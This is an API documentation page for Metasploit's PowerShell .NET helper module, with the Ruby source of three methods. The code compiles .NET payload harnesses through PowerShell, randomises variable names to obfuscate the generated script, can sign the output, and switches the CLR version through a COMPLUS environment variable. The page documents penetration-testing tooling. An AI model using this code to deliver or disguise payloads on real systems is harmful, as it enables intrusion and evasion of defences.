Module: Msf::Exploit::Powershell::DotNet

Defined in:
lib/msf/core/exploit/powershell/dot_net.rb

Instance Method Summary collapse

Instance Method Details

#dot_net_compiler(opts = {}) ⇒ String

Wrapper method for generating powershell code to compile .NET code

Parameters:

  • opts (Hash) (defaults to: {})

    Data structure containing compiler options

Returns:

  • (String)

    Powershell code to execute compiler and necessary environment


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# File 'lib/msf/core/exploit/powershell/dot_net.rb', line 22

def dot_net_compiler(opts = {})
  #TODO:
  # allow compilation entirely in memory with a b64 encoded product for export without disk access
  # Dynamically assign assemblies based on dot_net_code require/includes
  #   Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS

  # Critical
  begin
    dot_net_code = opts[:harness]
    if ::File.file?(dot_net_code)
      dot_net_code = ::File.read(dot_net_code)
     end
    # Ensure we're not running ASCII-8bit through powershell
    dot_net_code = dot_net_code.force_encoding('ASCII')
  rescue => e
    raise "Harness is invalid\n\n#{e}"
  end

  # Optional
  provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
  target = opts[:target] # Unless building assemblies in memory only
  certificate = opts[:cert] # PFX certificate path
  payload = opts[:payload]

  # Configure .NET assemblies required to compile source
  assemblies = ["mscorlib.dll", "System.Xml.dll", "System.Data.dll"]
  if opts[:assemblies]
    opts[:assemblies] = opts[:assemblies].split(',').map {|a| a.gsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
    assemblies += opts[:assemblies]
  end
  assemblies = assemblies.uniq.compact

  # Compiler options
  compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'

  # Substitute payload tag with actual payload
  if payload
    dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
  end

  # Determine if binary is to be written out
  var_gen_exe = target ? '$true' : '$false'

  # Obfu
  var_func = Rex::Text.rand_text_alpha(rand(4)+4)
  var_code = Rex::Text.rand_text_alpha(rand(4)+4)
  var_refs = Rex::Text.rand_text_alpha(rand(4)+4)
  var_provider = Rex::Text.rand_text_alpha(rand(4)+4)
  var_params = Rex::Text.rand_text_alpha(rand(4)+4)
  var_output = Rex::Text.rand_text_alpha(rand(4)+4)
  var_cert = Rex::Text.rand_text_alpha(rand(4)+4)

  # The actual compiler source
  compiler = <<EOS
function #{var_func} {
param (
[string[]] $#{var_code}
, [string[]] $references = @()
)
$#{var_provider} = New-Object #{provider}
$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
$#{var_params}.GenerateExecutable = #{var_gen_exe}
$#{var_params}.OutputAssembly = "#{target}"
$#{var_params}.GenerateInMemory   = $true
$#{var_params}.CompilerOptions = "#{compiler_opts}"
# $#{var_params}.IncludeDebugInformation = $true
$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
if ( $#{var_output}.Errors.Count -gt 0 ) {
$#{var_output}.Errors |% { Write-Error $_.ToString() }
} else { return $#{var_output}.CompiledAssembly}
}
#{var_func} -#{var_code} @'

#{dot_net_code}

'@

EOS

  if certificate and target
    compiler << <<EOS
#{var_cert} = Get-PfxCertificate #{certificate}
Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}

EOS


  end
  # PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
  # x86 targets also need to be compiled in x86 powershell instance
  run_32 = compiler_opts =~ /platform:x86/i ? true : false
  if opts[:net_clr] and opts[:net_clr].to_i > 2 # PS before 3.0 natively uses NET 2
    return elevate_net_clr(compiler, run_32, opts[:net_clr])
  else
    return compiler
  end

end

#elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0') ⇒ String

Wrapper to execute in alternate .NET environment

Parameters:

  • ps_code (String)

    Powershell code to wrap in environment

  • run_32 (TrueClass, FalseClass) (defaults to: false)

    Run in WOW64 environment

  • net_ver (String) (defaults to: '4.0')

    .NET CLR to wrap in

Returns:

  • (String)

    Executable environment wrapper


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# File 'lib/msf/core/exploit/powershell/dot_net.rb', line 130

def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
  var_func = Rex::Text.rand_text_alpha(rand(8)+8)
  var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
  var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
  var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
  var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)

  exec_wrapper = <<EOS
function #{var_func} {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)]
[ScriptBlock]
$ScriptBlock
)
$#{var_run32} = $#{run_32.to_s}
if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
return
}
$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
@"
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v#{net_ver.to_f}"/>
<supportedRuntime version="v2.0.50727"/>
</startup>
</configuration>
"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
} else {
&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
}} finally {
[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
$#{var_conf_path} | Remove-Item -Recurse
}
}
#{var_func} -ScriptBlock {
#{ps_code}
}


EOS

end

#initialize(info = {}) ⇒ Object


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# File 'lib/msf/core/exploit/powershell/dot_net.rb', line 7

def initialize(info = {})
  super
  register_advanced_options(
  [
    OptString.new('CERT_PATH', [false, 'Path on compiler host to .pfx fomatted certificate for signing' ]),

  ], self.class)
end